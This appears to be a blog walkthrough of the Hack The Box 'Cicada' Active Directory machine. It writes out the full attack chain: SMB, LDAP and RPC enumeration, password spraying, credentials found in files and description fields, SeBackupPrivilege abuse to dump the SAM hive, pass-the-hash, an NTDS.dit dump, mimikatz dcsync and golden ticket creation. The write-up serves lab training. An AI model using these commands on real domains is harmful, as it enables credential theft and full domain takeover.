Cicada HTB Walkthrough - Hack the planet

Cicada HTB Walkthrough

bloodstiller
13 mins to read
Box HTB Easy Windows Active Directory LDAP RPC SeBackupPrivilege
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Cicada Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

  • Variables:
    • In my commands you are going to see me use $box, $user, $hash, $domain, $pass often.
      • I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
        • $box = The IP of the box
        • $pass = Passwords I have access to.
        • $user = current user I am enumerating with.
          • Depending on where I am in the process this can change if I move laterally.
        • $domain = the domain name e.g. sugarape.local or contoso.local
        • $machine = the machine name e.g. DC01
      • Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
  • Wordlists:
    • I have symlinks all setup so I can get to my passwords from ~/Wordlists so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to /usr/share/wordlists

1. Enumeration:

NMAP:

Basic Scans:

  • Basic TCP Scan:
    • nmap $box -Pn -oA TCPbasicScan 
      kali in HTB/BlogEntriesMade/Cicada/scans/nmap  🍣 main 📝 ×110🛤️  ×142 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 09:35:04 zsh ❯ nmap $box -Pn -oA TCPbasicScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 09:35 GMT
Nmap scan report for 10.129.115.238
Host is up (0.040s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

Nmap done: 1 IP address (1 host up) scanned in 4.36 seconds
    • Initial thoughts:
      • Got some classics, DNS, Kerberos, SMB & LDAP.

Comprehensive Scans:

  • In depth scan TCP:

    • sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
    kali in HTB/BlogEntriesMade/Cicada/scans/nmap  🍣 main 📝 ×110🛤️  ×142 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 09:35:12 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 09:35 GMT
Nmap scan report for 10.129.115.238
Host is up (0.039s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-31 16:38:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
53003/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-10-31T16:39:11
|_  start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 242.85 seconds
    • Findings:
      • RPC is enabled it seems.

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  • If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.

    • We can actually retrieve a significant amount of information via anonymous bind such as:
      • A list of all users
      • A list of all groups
      • A list of all computers.
      • User account attributes.
      • The domain password policy.
      • Enumerate users who are susceptible to AS-REPRoasting.
      • Passwords stored in the description fields
    • The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.

  • I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here

  • It turns out the anonymous bind is not enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.

    1. We have the naming context of the domain:

      kali in HTB/BlogEntriesMade/Cicada/scans/ldap  🍣 main 📝 ×110🛤️  ×142 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 09:36:11 zsh ❯ python3 /home/kali/windowsTools/enumeration/ldapire.py $box
Attempting to connect to 10.129.115.238 with SSL...
Connected successfully using anonymous bind. Retrieving server information...
DSA info (from DSE):
  Supported LDAP versions: 3, 2
  Naming contexts:
    DC=cicada,DC=htb
    CN=Configuration,DC=cicada,DC=htb
    CN=Schema,CN=Configuration,DC=cicada,DC=htb
    DC=DomainDnsZones,DC=cicada,DC=htb
    DC=ForestDnsZones,DC=cicada,DC=htb

    2. We have the domain functionality level:

      Other:
  domainFunctionality:
    7
  forestFunctionality:
    7
  domainControllerFunctionality:
    7
  rootDomainNamingContext:
    DC=cicada,DC=htb
  ldapServiceName:
    cicada.htb:[email protected]
      • The functionality level determines the minimum version of Windows server that can be used for a DC.

        • +Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.

        • https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels

        • Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.

        • In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.

        • Here’s a list of functional level numbers and their corresponding Windows Server operating systems:

          Functional Level Number Corresponding OS
          0 Windows 2000
          1 Windows Server 2003 Interim
          2 Windows Server 2003
          3 Windows Server 2008
          4 Windows Server 2008 R2
          5 Windows Server 2012
          6 Windows Server 2012 R2
          7 Windows Server 2016
          8 Windows Server 2019
          9 Windows Server 2022
          • +Note+:
            • Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
            • As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.

    3. We have the full server name:

      • Again we can see this has the CN as the base (mentioned previously.) 
        serverName:
    CN=CICADA-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cicada,DC=htb

  • It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.

    • We have the naming context.
    • Domain name.

  • I update my /etc/hosts file now that we have the server name.

    • This is so we can use tools like kerbrute for user enumeration as well as other tools later on.
    • echo "$box $domain $machine.$domain" | sudo tee -a /etc/hosts

DNS 53:

  • Using dnsenum to enumerate DNS entries:
    • dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
    • Nothing of note.

Kerberos 88:

Using Kerbrute to bruteforce Usernames:

  • As kerberos is present we can enumerate users using kerbrute:
    • kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
    • Nothing of note.

RPC:

  • I connect using anonymous session:

    • rpcclient -U "" $box

  • I connect using rpcclient using a null session:

    • rpcclient -U "%" $box

  • I am unable to enumerate either.

SMB 445:

Attempting to connect with NULL & Guest sessions:

  • This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:
    • netexec smb $box -u 'guest' -p '' --shares
      • We can access using the guest account and can see there is an HR share there.
    • netexec smb $box -u '' -p '' --shares
      • No access via null share.

Enumerating the HR Share:

  • Connect to the share:

    • smbclient -U 'guest' "\\\\$box\\Public"

  • Find a file:

  • Download file:

Finding a hard-coded cred in “Notice from HR.txt”:

  • Reading the file there is a hard-coded password in the file:

    • Now we just need a username to enumerate further.

  • I check the exif information of the file incase there is any creator information there:

    • exiftool Notice\ from\ HR.txt
    • There is none

Using impacket-lookupsid:

  • We can use impacket-lookupsid to enumerate users on the domain:
    • impacket-lookupsid $domain/guest@$machine.$domain -domain-sids
    • +Note+: As we are using the “Guest” account we can just hit enter for a blank password

Password Spraying:

  • With the new users list I password spray & get a hit for the user: michael.wrightson
    • +Note+: We know it’s Michael’s password still as it does not have “Guest” written besides it.

Why does guest appear beside all the names?

  • If you haven’t seen this before check out this link.
  • Guest account in SMB:
    • SMB servers often allow users to connect as a Guest, meaning the users have limited or no write permissions. The server may allow these users to read files but restrict their ability to modify or create new files.
    • In this case authority.htb\[user]:[Pass](Guest) indicates that the [user] account is authenticated, but with Guest permissions, likely meaning the account does not have full access to resources.
    • So when you see “Guest” listed after users like authority.htb\ryan, authority.htb\tom, etc., it indicates that the user account is being authenticated using the Guest account privileges in SMB.

2. Foothold:

Enumerating as michael.wrightson:

  • We can see we have access to more shares:
    • I check the shares but there is nothing of note.

Enumerating users using RPC:

As we have credentials we can perform credentialed RPC enumeration now.

  • I connect using rpcclient:

    • rpcclient -U $user $box

  • Let’s list the users on the domain so we can get their RID

    • enumdomusers

Finding a password in the description field via RPC:

  • Enumerating the users I find the user david.orelius has stored their password in clear text in the description field of their account:
    • queryuser 0x454

Enumerating as david.orelius:

  • We can see we have access to the DEV share as david:

Finding a backup script in the DEV share.

  • I connect to the DEV share and find the script Backup_script.ps1.

    • smbclient -U $user "\\\\$box\\DEV"

  • I download the script:

    • get Backup_script.ps1

Finding credentials in the backup script:

  • Looking in the script I find credentials for the user emily.oscars:

Authenticating as emily.oscars:

  • Authenticating as emily we can see she has access to more shares:

  • I login via evil-winrm:

    • evil-winrm -i $box -u $user -p $pass

  • I grab the user flag:

3. Privilege Escalation:

Discovering we are part of the backup operators group:

  • Checking emily’s group membership we can see she is part of the backup operators group:
    • whoami /groups
    • This means we will have the SebackupUpPrivilege:
      • The SeBackupPrivilege allows us to backup the SAM & System registry hives.

Backup Operators & SeBackupPrivilege Primer:

  • Members of the Backup Operators & Server Operators get the theSeBackupPrivilege by default

  • This privilege will allow us to copy a file from a folder, even if there is no access control entry (ACE) for our user on the folder’s access control list (ACL) However, we cannot copy using the standard copy command. Instead, we need to programmatically copy the data, making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag. This means we can use tools like reg save as it allows registry hives to be exported whilst bypassing ACLs

  • Key Information About this privielge:

    • Allows a process to read any file, regardless of the file’s permissions.
    • Used primarily for backup applications that need access to all files.
    • Bypasses standard file read permissions.
    • Does not enable writing or deleting files, only reading.
    • Typically assigned to backup software or administrative tasks.

  • Security Considerations:

    • High potential for abuse if granted to unauthorized applications or users.
    • Should be closely monitored and restricted to trusted applications and personnel.

4. Ownership:

Dumping Registry Hives & extracting creds using secretsdump:

  • As mentioned previously we can use the reg save command to programatically copy the registry the hives and bypass ACL’s. The only reason we can do this is due to us having the SeBackupPrivilege

  • I Dump the Hives:

    • reg save HKLM\SYSTEM SYSTEM.SAV
    • reg save HKLM\SAM SAM.SAV

  • I transfer the hives back to my attack machine:

  • Extract the secrets using impacket-secretsdump:

    • impacket-secretsdump -sam SAM.SAV -system SYSTEM.SAV LOCAL

  • Login as the administrator using their hash:

    • evil-winrm -i $box -u $user -H $hash

  • Get our root flag:

5. Persistence:

Dumping NTDS.dit:

  • I dump the ntds.dit using netexec:
    • netexec smb $box -u $user -H $hash -M ntdsutil
    • +Note+:
      • Need to sort out these errors, this is a fresh VM so need to sort these python errors out.

Creating a Kerberos Golden Ticket:

  • I upload nc64.exe and mimikatz.exe via evil-winrm session:

  • Start a reverse shell back to my attack machine:

    • Evil-winrm does not play nice with mimikatz so we need standard reverse-shell.

  • Extract SID & KRBTGT hashes:

    • lsadump::dcsync /user:krbtgt /domain:cicada.htb

  • Create ticket:

    • kerberos::golden /domain:cicada.local /user:Administrator /sid:S-1-5-21-917908876-1423158569-3159038727 /rc4:[rc4hash]
    • This has a typo (I can see now there is a trailing dash after the SID however it still won’t work. Read on)

  • Download the .kirbi

  • Convert .kirbi to .ccache:

    • impacket-ticketConverter ticket.kirbi admin.ccache

  • Setup KRB5CCNAME var:

    • export KRB5CCNAME=./admin.ccache

  • Try and connect:

    • It fails this is because I used the rc4 hash instead of the AES hash. So let’s generate a new ticket using the aesKey.

  • I create a new ticket using ticketer.py:

    • python ticketer.py -aesKey [aesKey] -domain-sid [SID] -domain $domain -extra-pac -user-id 500 administrator
    • +Imporant Note+: You do not need the extra-pac parameter the following will work, I was just airing on the side of caution as I had read this issue: https://github.com/fortra/impacket/issues/1457 however the pull request was merged so should be resolved. This command will work (have also tested)
      • python ticketer.py -aesKey [aesKey] -domain-sid [SID] -domain $domain -extra-pac -user-id 500 administrator

  • Connect with psexec:

Golden Ticket Curiosities:

  • When generating a ticket using ticketer.py I can create the ticket and it works fine.

    • python3 ../ticketer.py -aesKey [Key] -domain-sid [SID] -domain $domain administrator

  • However when using mimikatz to generate the ticket, I use the exact same key SID etc:

    • kerberos::golden /domain:[domain] /user:administrator /sid:[SID] /aes256:[Key]

I always get the error [-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked) when trying to use the mimikatz generated one. I have done various testing and unsure as to why.

Lessons Learned:

What did I learn?

  1. This was mainly about enumeration. Enumerating well and thoroughly.

What silly mistakes did I make?

  1. Frustratingly trying to determine the mimikatz ticket issue, it’s annoying me. So it’s not a mistake. Just grinding my gears until I figure it out.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me